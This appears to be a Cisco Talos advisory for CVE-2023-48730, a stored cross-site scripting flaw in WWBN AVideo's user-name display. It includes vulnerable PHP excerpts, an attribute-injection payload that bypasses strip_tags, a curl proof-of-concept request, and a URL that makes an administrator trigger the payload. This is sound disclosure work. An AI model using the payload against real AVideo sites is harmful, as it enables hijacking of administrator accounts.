CVE-2023-48730
A cross-site scripting (xss) vulnerability exists in the navbarMenuAndLogo.php user name functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
WWBN AVideo dev master commit 15fed957fb
AVideo - https://github.com/WWBN/AVideo
8.5 - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.
The PHP file view/include/navbarMenuAndLogo.php
is vulnerable to an XSS issue due to improper sanitization of the user name.
<?php
[1] if (!empty($advancedCustomUser->keepViewerOnChannel) && !empty($_SESSION['channelName'])) {
$user = User::getChannelOwner($_SESSION['channelName']);
?>
<li>
<a class="navbar-brand" href="#" onclick="avideoModalIframeFull('<?php echo User::getChannelLinkFromChannelName($_SESSION['channelName']); ?>');
return false;" >
[2] <img src="<?php echo User::getPhoto($user['id']); ?>" alt="<?php echo User::getNameIdentificationById($user['id']); ?>"
class="img img-circle " style="height: 33px; width: 33px; margin-right: 15px;">
</a>
</li>
<?php
}
At [1], if keepViewerOnChannel
and channelName
are set, the user name for the current channelName
is echoed at [2], using User::getNameIdentificationById
:
public static function getNameIdentificationById($id = "")
{
if (!empty($id)) {
$user = new User($id);
return $user->getNameIdentificationBd();
}
return __("Unknown User");
}
public function getNameIdentificationBd()
{
global $advancedCustomUser;
[3] if (!empty($this->name) && empty($advancedCustomUser->doNotIdentifyByName)) {
return $this->name;
}
if (!empty($this->email) && empty($advancedCustomUser->doNotIdentifyByEmail)) {
return $this->email;
}
if (!empty($this->user) && empty($advancedCustomUser->doNotIdentifyByUserName)) {
return $this->user;
}
if (!empty($this->channelName)) {
return $this->channelName;
}
return __("Unknown User");
}
Essentially, unless doNotIdentifyByName
is set (it’s unset by default), the user name will be returned [3], which corresponds to the name
field of the User
object. The name field is originally set using setName
:
public function setName($name)
{
$this->name = strip_tags($name);
}
strip_tags
is used to remove tags, which could be used to inject arbitrary JavaScript. However, since the user name is echoed inside an <img>
tag, there’s no need to inject tags in order to execute arbitrary JavaScript.
For example, a privileged attacker could change their user name to someuser" onload="alert(1)
, which would execute alert(1)
without using tags and thus bypass the strip_tag
in setName
.
To exploit this, an attacker can trick the administrator into browsing any page that includes navbarMenuAndLogo.php
and sets the channelName
field in session. An example of such page is view/modeYoutube.php
, which includes view/include/navbar.php
, which in turn includes view/include/navbarMenuAndLogo.php
.
$_SESSION['channelName']
is set in view/include/navbar.php
[4]:
if (!empty($advancedCustomUser->keepViewerOnChannel)) {
if (!empty($_GET['channelName'])) {
_session_start();
[4] $_SESSION['channelName'] = $_GET['channelName'];
}
if (!empty($_GET['leaveChannel'])) {
_session_start();
unset($_SESSION['channelName']);
}
}
Note that $advancedCustomUser->keepViewerOnChannel
needs to be set, so exploitation of this vulnerability requires the non-default setting keepViewerOnChannel
to be set in the CustomizeUser
plugin.
Exploitation leads to a straightforward stored cross-site scripting issue (XSS) when visiting any page in the site that includes the navbar (including the main application page). This can be used by an attacker, in the worst case, to take over an administrator account, for example by tricking an administrator into visiting a specially crafted link.
This proof-of-concept calls alert(1)
:
$ curl -k $'https://localhost/objects/userUpdate.json.php' \
-H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=bir8alr05n4s0tjaqninjjnr66' \
-H 'Referer: https://localhost/user' \
--data-raw $'user=user1&pass=&email=user1@localhost&phone=&name=someuser" onload="alert(1)&about=&channelName=User1&donationLink=&analyticsCode='
{"error":false,"msg":"","users_id":2}
Trick the administrator into visiting the view/modeYoutube.php
page by clicking the following URL, which will set the channelName
in session:
https://localhost/view/modeYoutube.php?channelName=User1
Make sure to use the user channel name, in this case “User1”.
At this point, visiting any page (simply visiting https://localhost
is enough) will lead to executing alert(1)
.
2023-12-14 - Vendor Disclosure
2023-12-15 - Vendor Patch Release
2024-01-10 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.